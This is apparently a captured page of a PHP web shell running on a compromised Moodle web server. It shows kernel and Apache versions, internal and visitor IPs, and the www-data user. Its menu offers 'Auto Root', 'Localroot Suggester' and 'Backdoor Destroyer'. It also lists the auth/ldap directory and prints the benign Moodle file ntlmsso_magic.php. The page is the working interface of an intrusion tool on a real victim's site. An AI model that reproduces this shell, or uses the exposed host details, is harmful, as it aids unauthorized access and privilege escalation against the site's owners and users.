Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
auth /
ldap /
Delete
Unzip
Name
Size
Permission
Date
Action
classes
[ DIR ]
drwxr-sr-x
2017-06-22 14:50
cli
[ DIR ]
drwxr-sr-x
2017-06-22 14:50
db
[ DIR ]
drwxr-sr-x
2017-06-22 14:50
lang
[ DIR ]
drwxr-sr-x
2017-06-22 14:50
tests
[ DIR ]
drwxr-sr-x
2017-06-22 14:50
README-LDAP
74
B
-rw-r--r--
2017-06-22 14:50
auth.php
97.69
KB
-rw-r--r--
2017-06-22 14:50
config.html
23.89
KB
-rw-r--r--
2017-06-22 14:50
ntlmsso_attempt.php
1.42
KB
-rw-r--r--
2017-06-22 14:50
ntlmsso_finish.php
1.21
KB
-rw-r--r--
2017-06-22 14:50
ntlmsso_magic.php
1.41
KB
-rw-r--r--
2017-06-22 14:50
upgrade.txt
177
B
-rw-r--r--
2017-06-22 14:50
version.php
1.14
KB
-rw-r--r--
2017-06-22 14:50
Save
Rename
<?php // Don't let lib/setup.php set any cookies // as we will be executing under the OS security // context of the user we are trying to login, rather than // of the webserver. define('NO_MOODLE_COOKIES', true); require(__DIR__.'/../../config.php'); //HTTPS is required in this page when $CFG->loginhttps enabled $PAGE->https_required(); $PAGE->set_context(context_system::instance()); $authsequence = get_enabled_auth_plugins(true); // auths, in sequence if (!in_array('ldap', $authsequence, true)) { print_error('ldap_isdisabled', 'auth'); } $authplugin = get_auth_plugin('ldap'); if (empty($authplugin->config->ntlmsso_enabled)) { print_error('ntlmsso_isdisabled', 'auth_ldap'); } $sesskey = required_param('sesskey', PARAM_RAW); $file = $CFG->dirroot.'/pix/spacer.gif'; if ($authplugin->ntlmsso_magic($sesskey) && file_exists($file)) { if (!empty($authplugin->config->ntlmsso_ie_fastpath)) { if (core_useragent::is_ie()) { // $PAGE->https_required() up above takes care of what $CFG->httpswwwroot should be. redirect($CFG->httpswwwroot.'/auth/ldap/ntlmsso_finish.php'); } } // Serve GIF // Type header('Content-Type: image/gif'); header('Content-Length: '.filesize($file)); // Output file $handle = fopen($file, 'r'); fpassthru($handle); fclose($handle); exit; } else { print_error('ntlmsso_iwamagicnotenabled', 'auth_ldap'); }